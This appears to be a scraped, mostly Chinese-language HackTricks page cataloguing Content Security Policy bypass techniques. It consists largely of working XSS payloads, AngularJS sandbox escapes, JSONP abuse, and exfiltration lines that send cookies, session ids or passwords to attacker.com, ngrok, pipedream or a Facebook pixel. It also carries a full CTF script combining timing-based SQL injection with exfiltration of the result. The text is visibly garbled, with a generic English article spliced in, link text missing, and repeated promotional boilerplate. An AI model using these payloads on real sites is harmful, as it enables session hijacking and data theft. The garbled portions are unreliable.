Working payload: "/><script>alert(1);</script>

self + 'unsafe-inline' via Iframes

'unsafe-eval'

Content-Security-Policy: script-src https://google.com 'unsafe-eval';

有效的有效载荷:

<script src="data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="></script>

strict-dynamic

如果你可以以某种方式使允许的 JS 代码创建一个新的脚本标签在 DOM 中,因为一个允许的脚本正在创建它,新的脚本标签将被允许执行。

通配符 (*)

Content-Security-Policy: script-src 'self' https://google.com https: data *;

有效的有效载荷:

"/>'><script src=https://attacker-website.com/evil.js></script>
"/>'><script src=data:text/javascript,alert(1337)></script>

缺乏 object-src 和 default-src

看起来这个方法不再有效

Content-Security-Policy: script-src 'self' ;

有效的有效载荷:

<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
">'><object type="application/x-shockwave-flash" data='https: //ajax.googleapis.com/ajax/libs/yui/2.8.0 r4/build/charts/assets/charts.swf?allowedDomain=\"})))}catch(e) {alert(1337)}//'>
<param name="AllowScriptAccess" value="always"></object>

文件上传 + 'self'

Content-Security-Policy: script-src 'self';  object-src 'none' ;

如果您可以上传一个JS文件,您可以绕过这个CSP:

有效载荷:

"/>'><script src="/uploads/picture.png.js"></script>

然而,服务器很可能正在验证上传的文件,并且只允许您上传特定类型的文件。

此外,即使您可以使用服务器接受的扩展名(如:script.png)在文件中上传JS代码,这也是不够的,因为一些服务器如Apache服务器会根据扩展名选择文件的MIME类型,而像Chrome这样的浏览器将拒绝执行应该是图像的内容中的Javascript代码。"幸运的是",存在一些错误。例如,从一个CTF中我学到Apache不认识_.wave_扩展名,因此不会使用类似audio/*的MIME类型提供它。

Form-action

第三方端点 + ('unsafe-eval')

对于以下一些有效载荷,甚至不需要unsafe-eval。

Content-Security-Policy: script-src https://cdnjs.cloudflare.com 'unsafe-eval';

加载一个有漏洞的 Angular 版本并执行任意的 JS:

<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js"></script>
<div ng-app> {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1);//');}} </div>


"><script src="https://cdnjs.cloudflare.com/angular.min.js"></script> <div ng-app ng-csp>{{$eval.constructor('alert(1)')()}}</div>


"><script src="https://cdnjs.cloudflare.com/angularjs/1.1.3/angular.min.js"> </script>
<div ng-app ng-csp id=p ng-click=$event.view.alert(1337)>


With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-author-writeup/
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js></script>
<iframe/ng-app/ng-csp/srcdoc="
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.8.0/angular.js>
</script>
<img/ng-app/ng-csp/src/ng-o{{}}n-error=$event.target.ownerDocument.defaultView.alert($event.target.ownerDocument.domain)>"
>

该文章显示您可以从 cdn.cloudflare.com(或任何其他允许的 JS 库存储库)加载所有库,执行每个库中添加的所有函数,并检查哪些库的哪些函数返回 window 对象。

<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" /></script>
<div ng-app ng-csp>
{{$on.curry.call().alert(1)}}
{{[].empty.call().alert([].empty.call().document.domain)}}
{{ x = $on.curry.call().eval("fetch('http://localhost/index.php').then(d => {})") }}
</div>


<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{$on.curry.call().alert('xss')}}
</div>


<script src="https://cdnjs.cloudflare.com/ajax/libs/mootools/1.6.0/mootools-core.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{[].erase.call().alert('xss')}}
</div>

从类名中的 Angular XSS:

攻击场景

在某些情况下,当应用程序使用用户提供的输入来动态创建 HTML 元素时,如果未正确地对输入进行验证和过滤,攻击者可以通过在类名中注入恶意代码来执行跨站脚本(XSS)攻击。

攻击步骤

  1. 攻击者提供恶意的类名,其中包含恶意脚本。

  2. 应用程序未对输入进行适当验证和过滤,将恶意类名动态添加到 HTML 元素中。

  3. 当其他用户查看包含恶意类名的页面时,恶意脚本将被执行,导致 XSS 攻击成功。

攻击示例

<div class="user-input" [class]="userInput"></div>

如果 userInput 变量未经过滤并包含恶意脚本,攻击者可以通过将恶意脚本注入到 userInput 中来执行 XSS 攻击。

<div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
</div>

滥用谷歌 reCAPTCHA JS 代码

<div
ng-controller="CarouselController as c"
ng-init="c.init()"
>
&#91[c.element.ownerDocument.defaultView.parent.location="http://google.com?"+c.element.ownerDocument.cookie]]
<div carousel><div slides></div></div>

<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>
<script src='https://www.google.com/recaptcha/about/js/main.min.js'></script>

<!-- Trigger alert -->
<img src=x ng-on-error='$event.target.ownerDocument.defaultView.alert(1)'>

<!-- Reuse nonce -->
<img src=x ng-on-error='
doc=$event.target.ownerDocument;
a=doc.defaultView.top.document.querySelector("[nonce]");
b=doc.createElement("script");
b.src="//example.com/evil.js";
b.nonce=a.nonce; doc.body.appendChild(b)'>

滥用 www.google.com 进行开放式重定向

https://www.google.com/amp/s/example.com/

滥用 *.google.com/script.google.com

第三方端点 + JSONP

Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';

在这种情况下,script-src 被设置为 self 和一个特定的在白名单中的域名,可以通过使用 JSONP 来绕过。JSONP 端点允许使用不安全的回调方法,这使得攻击者可以执行 XSS,有效载荷如下:

"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
"><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
https://www.youtube.com/oembed?callback=alert;
<script src="https://www.youtube.com/oembed?url=http://www.youtube.com/watch?v=bDOYN-6gdRE&format=json&callback=fetch(`/profile`).then(function f1(r){return r.text()}).then(function f2(txt){location.href=`https://b520-49-245-33-142.ngrok.io?`+btoa(txt)})"></script>

如果受信任的端点包含一个开放重定向,那么将会出现相同的漏洞,因为如果初始端点受信任,则重定向也会受信任。

第三方滥用

实体
允许的域名
能力

Facebook

www.facebook.com, *.facebook.com

窃取

Hotjar

*.hotjar.com, ask.hotjar.io

窃取

Jsdelivr

*.jsdelivr.com, cdn.jsdelivr.net

执行

Amazon CloudFront

*.cloudfront.net

窃取, 执行

Amazon AWS

*.amazonaws.com

窃取, 执行

Azure Websites

*.azurewebsites.net, *.azurestaticapps.net

窃取, 执行

Salesforce Heroku

*.herokuapp.com

窃取, 执行

Google Firebase

*.firebaseapp.com

窃取, 执行

如果在目标的CSP中发现任何允许的域名,那么很有可能您可以通过注册第三方服务来绕过CSP,从而窃取数据或执行代码。

例如,如果您发现以下CSP:

Content-Security-Policy​: default-src 'self’ www.facebook.com;​

CSP Bypass Techniques

Introduction

Content Security Policy (CSP) is an added layer of security that helps to detect and mitigate certain types of attacks, such as Cross Site Scripting (XSS) and data injection attacks. However, there are ways to bypass CSP protections and execute malicious code on a target website.

Bypass Techniques

  1. Inline Script Execution: By using techniques like dynamic script injection or event handlers, attackers can execute inline scripts even if CSP is in place.

  2. External Script Execution: Attackers can load external scripts from whitelisted domains or CDN to bypass CSP restrictions.

  3. Data URI Bypass: Embedding malicious code within a data URI and executing it can bypass CSP protections.

  4. Unsafe Inline and Eval: Disabling CSP directives like 'unsafe-inline' and 'unsafe-eval' can allow inline scripts and eval() functions to execute.

  5. Meta Tag Bypass: Attackers can inject meta tags to control the behavior of CSP and bypass restrictions.

Conclusion

While CSP is an effective security measure, it is important to be aware of these bypass techniques to ensure comprehensive protection against attacks. Regularly testing and updating CSP policies can help in mitigating the risks associated with CSP bypass vulnerabilities.

Content-Security-Policy​: connect-src www.facebook.com;​
  1. 在这里创建一个Facebook开发者账户。

  2. 创建一个新的“Facebook登录”应用程序,并选择“网站”。

  3. 转到“设置 -> 基本信息”并获取你的“应用ID”。

  4. 在你想要从中窃取数据的目标网站上,可以通过直接使用Facebook SDK小工具“fbq”通过“customEvent”和数据有效负载来窃取数据。

  5. 转到你的应用程序“事件管理器”,并选择你创建的应用程序(请注意,事件管理器可以在类似于此URL的位置找到:https://www.facebook.com/events_manager2/list/pixel/[app-id]/test_events)。

  6. 选择“测试事件”选项卡,查看“你的”网站发送的事件。

然后,在受害者端,执行以下代码初始化Facebook跟踪像素,指向攻击者的Facebook开发者账户应用程序ID,并发出一个自定义事件,如下所示:

fbq('init', '1279785999289471');​ // this number should be the App ID of the attacker's Meta/Facebook account
fbq('trackCustom', 'My-Custom-Event',{​
data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"​
});

通过RPO(相对路径覆盖)进行绕过

除了前面提到的重定向绕过路径限制之外,还有一种称为相对路径覆盖(RPO)的技术可用于某些服务器。

例如,如果CSP允许路径https://example.com/scripts/react/,则可以通过以下方式绕过:

<script src="https://example.com/scripts/react/..%2fangular%2fangular.js"></script>

浏览器最终将加载https://example.com/scripts/angular/angular.js。

这是因为对于浏览器来说,您正在加载位于https://example.com/scripts/react/下的名为..%2fangular%2fangular.js的文件,这与CSP兼容。

因此,它们将对其进行解码,有效地请求https://example.com/scripts/react/../angular/angular.js,这等同于https://example.com/scripts/angular/angular.js。

通过利用浏览器和服务器之间URL解释的不一致性,可以绕过路径规则。

解决方案是在服务器端不将%2f视为/,确保浏览器和服务器之间的一致解释以避免此问题。

Iframes JS执行

缺少base-uri

此外,如果页面使用相对路径加载脚本(如<script src="/js/app.js">)使用Nonce,您可以滥用base tag使其从您自己的服务器加载脚本以实现XSS。 如果易受攻击的页面使用httpS加载,请在base中使用httpS网址。

<base href="https://www.attacker.com/">

AngularJS 事件

一种名为内容安全策略(CSP)的特定策略可能会限制JavaScript事件。然而,AngularJS引入了自定义事件作为一种替代方案。在事件中,AngularJS提供了一个名为$event的独特对象,引用了原生浏览器事件对象。这个$event对象可以被利用来规避CSP。值得注意的是,在Chrome中,$event/event对象具有一个path属性,其中包含一个对象数组,涉及事件执行链,其中window对象始终位于最后。这种结构对于沙箱逃逸策略至关重要。

通过将这个数组指向orderBy过滤器,可以对其进行迭代,利用终端元素(window对象)来触发类似alert()的全局函数。下面演示的代码片段阐明了这个过程:

<input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x

这段代码片段突出了使用ng-focus指令来触发事件,利用$event.path|orderBy来操作path数组,并利用window对象执行alert()函数,从而揭示document.cookie。

AngularJS和白名单域

Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;

有效载荷:

<script src=//ajax.googleapis.com/ajax/services/feed/find?v=1.0%26callback=alert%26context=1337></script>
ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com/ajax/libs/angularjs/1.0.8/angular.js></script>

<!-- no longer working -->
<script src="https://www.googleapis.com/customsearch/v1?callback=alert(1)">

通过重定向绕过

当CSP遇到服务器端重定向时会发生什么?如果重定向导致到达一个不允许的不同源,它仍然会失败。

这里有一个例子:

<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Security-Policy" content="script-src http://localhost:5555 https://www.google.com/a/b/c/d">
</head>
<body>
<div id=userContent>
<script src="https://https://www.google.com/test"></script>
<script src="https://https://www.google.com/a/test"></script>
<script src="http://localhost:5555/301"></script>
</div>
</body>
</html>

如果CSP设置为https://www.google.com/a/b/c/d,由于考虑了路径,/test和/a/test脚本都将被CSP阻止。

然而,最终的http://localhost:5555/301将在服务器端重定向到https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//。由于这是一个重定向,路径不被考虑,脚本可以被加载,从而绕过路径限制。

通过这种重定向,即使完全指定了路径,仍将被绕过。

因此,最佳解决方案是确保网站没有任何开放的重定向漏洞,并且在CSP规则中没有可以被利用的域。

使用悬挂标记绕过CSP

'unsafe-inline'; img-src *; 通过XSS

default-src 'self' 'unsafe-inline'; img-src *;

'unsafe-inline' 表示您可以在代码中执行任何脚本(XSS 可以执行代码),img-src * 表示您可以在网页中使用来自任何资源的任何图像。

您可以通过图像传输数据来绕过此 CSP(在这种情况下,XSS 滥用 CSRF,其中一个机器人可访问的页面包含 SQLi,并通过图像提取标志):

<script>fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%20flag%20from%20challenge%23').then(_=>_.text()).then(_=>new Image().src='http://PLAYER_SERVER/?'+_)</script>

使用Service Workers

Service workers的**importScripts**函数不受CSP限制:

策略注入

Chrome

如果您发送的参数被粘贴到策略的声明中,则可以以某种方式更改使其无效的策略。您可以使用以下任何绕过方式之一允许脚本“unsafe-inline”:

script-src-elem *; script-src-attr *
script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'

Edge

img-src *; 通过 XSS(iframe)- 时间攻击

注意缺少指令 'unsafe-inline' 这次你可以通过一个 <iframe 让受害者加载一个在你控制下的页面通过XSS。这次你将让受害者访问你想要提取信息(CSRF)的页面。你无法访问页面的内容,但如果你可以控制页面加载所需的时间,你就可以提取所需的信息。

这次一个标志将被提取,每当通过 SQLi 正确猜测一个字符时,由于 sleep 函数,响应会花费更多时间。然后,你将能够提取标志:

<!--code from https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle -->
<iframe name=f id=g></iframe> // The bot will load an URL with the payload
<script>
let host = "http://x-oracle-v1.nn9ed.ka0labs.org";
function gen(x) {
x = escape(x.replace(/_/g, '\\_'));
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag%20like%20'${x}%25'and%201=sleep(0.1)%23`;
}

function gen2(x) {
x = escape(x);
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag='${x}'and%201=sleep(0.1)%23`;
}

async function query(word, end=false) {
let h = performance.now();
f.location = (end ? gen2(word) : gen(word));
await new Promise(r => {
g.onload = r;
});
let diff = performance.now() - h;
return diff > 300;
}

let alphabet = '_abcdefghijklmnopqrstuvwxyz0123456789'.split('');
let postfix = '}'

async function run() {
let prefix = 'nn9ed{';
while (true) {
let i = 0;
for (i;i<alphabet.length;i++) {
let c = alphabet[i];
let t =  await query(prefix+c); // Check what chars returns TRUE or FALSE
console.log(prefix, c, t);
if (t) {
console.log('FOUND!')
prefix += c;
break;
}
}
if (i==alphabet.length) {
console.log('missing chars');
break;
}
let t = await query(prefix+'}', true);
if (t) {
prefix += '}';
break;
}
}
new Image().src = 'http://PLAYER_SERVER/?' + prefix; //Exfiltrate the flag
console.log(prefix);
}

run();
</script>

通过书签工具

这种攻击需要一些社会工程学,攻击者说服用户将链接拖放到浏览器的书签工具上。这个书签工具会包含恶意的 JavaScript 代码,当拖放或点击时会在当前网页窗口的上下文中执行,绕过 CSP 并允许窃取敏感信息,比如 cookies 或令牌。

通过限制 CSP 绕过 CSP

您可以使用**csp属性限制 iframe 的 CSP**:

<iframe src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]" csp="script-src https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'"></iframe>
<meta http-equiv="Content-Security-Policy" content="script-src 'self'
'unsafe-eval' 'strict-dynamic'
'sha256-whKF34SmFOTPK4jfYDy03Ea8zOwJvqmz%2boz%2bCtD7RE4='
'sha256-Tz/iYFTnNe0de6izIdG%2bo6Xitl18uZfQWapSbxHE6Ic=';">

使用 Content-Security-Policy-Report-Only 进行 JS 数据泄露

如果你能够让服务器响应头部 Content-Security-Policy-Report-Only 的值由你控制(可能是因为 CRLF),你可以让它指向你的服务器,如果你用 <script> 包裹你想要泄露的JS内容,并且由于高度可能不允许 unsafe-inline 的CSP,这将触发 CSP 错误,并且包含敏感信息的脚本的一部分将从 Content-Security-Policy-Report-Only 发送到服务器。

document.querySelector('DIV').innerHTML="<iframe src='javascript:var s = document.createElement(\"script\");s.src = \"https://pastebin.com/raw/dw5cWGK6\";document.body.appendChild(s);'></iframe>";

使用CSP和Iframe泄露信息

  • 创建一个指向URL的iframe(我们称其为https://example.redirect.com),该URL在CSP中被允许。

  • 然后,该URL重定向到一个未被CSP允许的秘密URL(例如https://usersecret.example2.com)。

  • 通过监听securitypolicyviolation事件,可以捕获blockedURI属性。该属性会显示被阻止的URI的域,从而泄露初始URL重定向到的秘密域。

有趣的是,像Chrome和Firefox这样的浏览器在处理与CSP相关的iframes时有不同的行为,可能会由于未定义的行为导致敏感信息泄露。

另一种技术涉及利用CSP本身来推断秘密子域。这种方法依赖于二分搜索算法,并调整CSP以包含特定的故意被阻止的域。例如,如果秘密子域由未知字符组成,您可以通过修改CSP指令来阻止或允许这些子域,迭代地测试不同的子域。以下是一个显示如何设置CSP以便实现此方法的代码片段:

img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev

通过监视 CSP 阻止或允许的请求,可以缩小秘密子域中可能的字符范围,最终揭示完整的 URL。

这两种方法都利用了 CSP 实现和浏览器行为的微妙之处,展示了看似安全的策略如何无意中泄露敏感信息。

黑客见解 参与深入探讨黑客的刺激和挑战的内容

实时黑客新闻 通过实时新闻和见解及时了解快节奏的黑客世界

最新公告 了解最新的赏金任务发布和重要平台更新

绕过 CSP 的不安全技术

PHP 响应缓冲区超载

PHP 默认会将响应缓冲到 4096 字节。因此,如果 PHP 显示警告,通过在警告中提供足够的数据,响应将在 CSP 头之前发送,导致头部被忽略。 然后,该技术基本上是通过填充响应缓冲区以显示警告,从而不发送 CSP 头。

重写错误页面

a = window.open('/' + 'x'.repeat(4100));
setTimeout(function() {
a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0lec.one/upload/ffffffffffffffffffffffffffffffff').then(x=>x.text()).then(x=>fetch('https://enllwt2ugqrt.x.pipedream.net/'+x))">`;
}, 1000);

SOME + 'self' + wordpress

SOME是一种技术,利用页面端点中的XSS(或高度受限的XSS)来滥用同一源的其他端点。这是通过从攻击者页面加载易受攻击的端点,然后刷新攻击者页面到您想要滥用的同一源中的真实端点来完成的。这样易受攻击的端点可以使用opener对象在有效载荷中访问要滥用的真实端点的DOM。有关更多信息,请查看:

此外,wordpress在/wp-json/wp/v2/users/1?_jsonp=data中有一个JSONP端点,将在输出中反射发送的数据(仅限字母、数字和点)。

CSP数据泄漏绕过

如果存在不允许您与外部服务器交互的严格CSP,您始终可以执行一些操作来泄露信息。

Location

您可以简单地更新位置以将秘密信息发送到攻击者的服务器:

var sessionid = document.cookie.split('=')[1]+".";
document.location = "https://attacker.com/?" + sessionid;

Meta标签

您可以通过注入一个meta标签来进行重定向(这只是一个重定向,不会泄露内容)

<meta http-equiv="refresh" content="1; http://attacker.com">

DNS Prefetch

为了加快页面加载速度,浏览器会预先将主机名解析为IP地址并缓存以备后用。 您可以通过以下方式指示浏览器预先解析主机名:<link rel="dns-prefetch" href="something.com">

您可以利用这种行为通过DNS请求泄露敏感信息:

var sessionid = document.cookie.split('=')[1]+".";
var body = document.getElementsByTagName('body')[0];
body.innerHTML = body.innerHTML + "<link rel=\"dns-prefetch\" href=\"//" + sessionid + "attacker.ch\">";

另一种方法:

const linkEl = document.createElement('link');
linkEl.rel = 'prefetch';
linkEl.href = urlWithYourPreciousData;
document.head.appendChild(linkEl);

为了避免这种情况发生,服务器可以发送以下HTTP标头:

X-DNS-Prefetch-Control: off

显然,这种技术在无头浏览器(机器人)中不起作用

WebRTC

在一些页面上,您可以看到WebRTC不检查CSP的connect-src策略。

实际上,您可以使用_DNS请求_来泄露信息。查看以下代码:

(async()=>{p=new RTCPeerConnection({iceServers:[{urls: "stun:LEAK.dnsbin"}]});p.createDataChannel('');p.setLocalDescription(await p.createOffer())})()

另一个选项:

var pc = new RTCPeerConnection({
"iceServers":[
{"urls":[
"turn:74.125.140.127:19305?transport=udp"
],"username":"_all_your_data_belongs_to_us",
"credential":"."
}]
});
pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);

在线检查CSP策略

自动创建CSP

参考资料

​

黑客见解 参与深入探讨黑客行为的刺激和挑战

实时黑客新闻 通过实时新闻和见解了解快节奏的黑客世界

最新公告 了解最新的赏金任务发布和重要平台更新

加入服务器,与经验丰富的黑客和赏金猎人交流!

加入我们的 ,立即与顶尖黑客合作!

```html ```

这个方法不起作用,更多信息请。

从这里开始,如果您发现了XSS和文件上传,并且设法找到了被误解的扩展名,您可以尝试上传一个带有该扩展名和脚本内容的文件。或者,如果服务器正在检查上传文件的正确格式,可以创建一个多语言混合体()。

如果无法注入JS,您仍然可以尝试窃取例如凭据注入一个表单操作(并且可能期望密码管理器自动填充密码)。您可以在。另外,请注意default-src不包括表单操作。

使用 Angular + 一个返回 window 对象的函数库的有效载荷():

根据,您可以滥用 在 CSP 中执行任意 JS 代码,绕过 CSP:

更多来自这篇文章的:

以下URL将重定向到 example.com(来自):

可以滥用Google Apps Script在script.google.com内的页面中接收信息。就像在中所做的那样。

包含了用于绕过不同网站的CSP的现成JSONP端点。

正如在中所述,许多第三方域可能会被允许在CSP的某个地方使用,可以被滥用来窃取数据或执行JavaScript代码。其中一些第三方是:

你应该能够像以往使用/那样,窃取数据。在这种情况下,你可以按照以下一般步骤操作:

在线示例:

如果缺少base-uri指令,您可以滥用它执行。

在 中查找其他Angular绕过方法

一个在 Angular JS 应用程序中为脚本加载列入白名单的 CSP 策略可以通过调用回调函数和特定的易受攻击类来绕过。有关此技术的更多信息可以在此上的详细指南中找到。

然而,根据中的描述,如果重定向导致到达一个不同路径,它可以绕过原始的限制。

阅读。

From:

您还可以滥用此配置来加载插入图像内部的JavaScript代码。例如,如果页面允许从Twitter加载图像。您可以制作一个特殊图像,将其上传到Twitter,并滥用“unsafe-inline”来执行一个JS代码(作为常规XSS),该代码将加载图像,从中提取JS并执行它:

研究:

因为这个指令会覆盖现有的 script-src 指令。 你可以在这里找到一个例子:

在 Edge 中更简单。如果你可以在 CSP 中添加这个:;_,Edge 将丢弃整个策略。 例子:

有关更多信息。

在,通过在允许的 iframe 中注入一个更严格的 CSP 来绕过 CSP,该 CSP 禁止加载特定的 JS 文件,然后通过原型污染或DOM 篡改允许滥用不同的脚本来加载任意脚本。

在中,通过HTML注入可以更加限制一个CSP,从而禁用防止CSTI的脚本,因此漏洞变得可利用。 可以使用HTML meta标签使CSP更加严格,内联脚本可以被禁用移除允许它们的入口,并通过sha启用特定的内联脚本:

例如,。

技巧来自。

加入 服务器,与经验丰富的黑客和赏金猎人交流!

加入我们的 ,立即与顶尖黑客合作!

灵感来自。

从看来,通过加载一个错误页面(可能没有 CSP)并重写其内容,可以绕过 CSP 保护。

攻击者可以滥用该端点对WordPress执行生成SOME攻击,并将其嵌入到<script src=/wp-json/wp/v2/users/1?_jsonp=some_attack></script>中,请注意此脚本将被加载,因为它被'自身'允许。此外,由于WordPress已安装,攻击者可能会通过绕过CSP的易受攻击的回调端点滥用SOME攻击,以赋予用户更多权限,安装新插件... 有关如何执行此攻击的更多信息,请查看

加入服务器,与经验丰富的黑客和赏金猎人交流!

加入我们的 ,立即与顶尖黑客合作!

从零开始成为AWS黑客大师,学习 !

支持HackTricks的其他方式:

如果您想在HackTricks中看到您的公司广告或下载PDF版HackTricks,请查看!

获取

探索,我们独家的

加入 💬 或 或在Twitter 🐦 上关注我们。

通过向和 github仓库提交PR来分享您的黑客技巧。

🕸️
HackenProof Discord
Discord
CSP bypass: self + 'unsafe-inline' with Iframes
查看这里
这里有一些多语言混合体示例
此报告中找到一个示例
查看此文章
这篇 CTF 解密
https://www.google.com/recaptcha/
有效载荷
这里
这份报告
JSONBee
以下帖子
Google Analytics
Google Tag Manager
https://jsbin.com/werevijewa/edit?html,output
Iframes in XSS, CSP and SOP
悬挂标记注入
https://portswigger.net/web-security/cross-site-scripting/cheat-sheet
git 存储库
CSP规范4.2.2.3. 路径和重定向
此处的方法
https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle
https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/
Abusing Service Workers
https://portswigger.net/research/bypassing-csp-with-policy-injection
http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+*&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E
http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;_&y=%3Cscript%3Ealert(1)%3C/script%3E
请查看原始报告
这个 CTF 解密
这个CTF解密
查看这个 CTF writeup
CVE-2020-6519
这里
HackenProof Discord
Discord
这篇文章
这篇文章
SOME - Same Origin Method Execution
https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/
https://csp-evaluator.withgoogle.com/
https://cspvalidator.org/
https://csper.io/docs/generating-content-security-policy
https://hackdefense.com/publications/csp-the-how-and-why-of-a-content-security-policy/
https://lcamtuf.coredump.cx/postxss/
https://bhavesh-thakur.medium.com/content-security-policy-csp-bypass-techniques-e3fa475bfe5d
https://0xn3va.gitbook.io/cheat-sheets/web-application/content-security-policy#allowed-data-scheme
https://www.youtube.com/watch?v=MCyPuOWs3dg
https://aszx87410.github.io/beyond-xss/en/ch2/csp-bypass/
https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/
HackenProof Discord
Discord
htARTE(HackTricks AWS Red Team Expert)
订阅计划
官方PEASS & HackTricks周边产品
PEASS家族
NFTs
Discord群
电报群
@carlospolopm
HackTricks
HackTricks Cloud
htARTE(HackTricks AWS Red Team Expert)
订阅计划
官方PEASS & HackTricks周边产品
PEASS家族
NFTs收藏
Discord群组
电报群组
@carlospolopm
HackTricks
HackTricks Cloud